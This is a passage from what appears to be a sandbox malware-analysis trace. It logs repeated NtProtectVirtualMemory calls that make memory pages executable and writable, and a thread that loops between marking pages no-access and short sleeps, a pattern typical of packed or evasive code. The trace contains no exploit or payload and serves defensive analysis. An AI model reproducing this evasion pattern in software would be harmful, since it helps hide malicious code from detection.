(in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.709] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0380.999] ExitProcess (uExitCode=0x0) Thread: id = 10 os_tid = 0x1378 [0237.383] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x40) returned 0x0 [0237.384] Sleep (dwMilliseconds=0x5) [0237.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.459] Sleep (dwMilliseconds=0x5) [0237.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.608] Sleep (dwMilliseconds=0x5) [0237.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.714] Sleep (dwMilliseconds=0x5) [0237.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.774] Sleep (dwMilliseconds=0x5) [0237.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.825] Sleep (dwMilliseconds=0x5) [0237.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.905] Sleep (dwMilliseconds=0x5) [0237.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.960] Sleep (dwMilliseconds=0x5) [0238.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.009] Sleep (dwMilliseconds=0x5) [0238.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.053] Sleep (dwMilliseconds=0x5) [0238.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.104] Sleep (dwMilliseconds=0x5) [0238.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.165] Sleep (dwMilliseconds=0x5) [0238.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.213] Sleep (dwMilliseconds=0x5) [0238.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.273] Sleep (dwMilliseconds=0x5) [0238.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.323] Sleep (dwMilliseconds=0x5) [0238.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.370] Sleep (dwMilliseconds=0x5) [0238.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.470] Sleep (dwMilliseconds=0x5) [0238.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.630] Sleep (dwMilliseconds=0x5) [0238.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.709] Sleep (dwMilliseconds=0x5) [0238.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.771] Sleep (dwMilliseconds=0x5) [0238.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.833] Sleep (dwMilliseconds=0x5) [0238.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.913] Sleep (dwMilliseconds=0x5) [0238.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.989] Sleep (dwMilliseconds=0x5) [0239.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.056] Sleep (dwMilliseconds=0x5) [0239.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.104] Sleep (dwMilliseconds=0x5) [0239.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.164] Sleep (dwMilliseconds=0x5) [0239.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.214] Sleep (dwMilliseconds=0x5) [0239.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.263] Sleep (dwMilliseconds=0x5) [0239.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.346] Sleep (dwMilliseconds=0x5) [0239.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.405] Sleep (dwMilliseconds=0x5) [0239.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.494] Sleep (dwMilliseconds=0x5) [0239.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.592] Sleep (dwMilliseconds=0x5) [0239.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.636] Sleep (dwMilliseconds=0x5) [0239.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.707] Sleep (dwMilliseconds=0x5) [0239.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.760] Sleep (dwMilliseconds=0x5) [0239.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.834] Sleep (dwMilliseconds=0x5) [0239.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.896] Sleep (dwMilliseconds=0x5) [0239.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.964] Sleep (dwMilliseconds=0x5) [0240.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.069] Sleep (dwMilliseconds=0x5) [0240.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.158] Sleep (dwMilliseconds=0x5) [0240.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.213] Sleep (dwMilliseconds=0x5) [0240.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.270] Sleep (dwMilliseconds=0x5) [0240.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.319] Sleep (dwMilliseconds=0x5) [0240.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.370] Sleep (dwMilliseconds=0x5) [0240.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.422] Sleep (dwMilliseconds=0x5) [0240.465] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.466] Sleep (dwMilliseconds=0x5) [0240.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.664] Sleep (dwMilliseconds=0x5) [0240.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.715] Sleep (dwMilliseconds=0x5) [0240.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.765] Sleep (dwMilliseconds=0x5) [0240.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.846] Sleep (dwMilliseconds=0x5) [0240.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.964] Sleep (dwMilliseconds=0x5) [0241.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.046] Sleep (dwMilliseconds=0x5) [0241.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.115] Sleep (dwMilliseconds=0x5) [0241.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.179] Sleep (dwMilliseconds=0x5) [0241.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.230] Sleep (dwMilliseconds=0x5) [0241.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.302] Sleep (dwMilliseconds=0x5) [0241.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.362] Sleep (dwMilliseconds=0x5) [0241.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.433] Sleep (dwMilliseconds=0x5) [0241.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.542] Sleep (dwMilliseconds=0x5) [0241.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.623] Sleep (dwMilliseconds=0x5) [0241.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.683] Sleep (dwMilliseconds=0x5) [0241.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 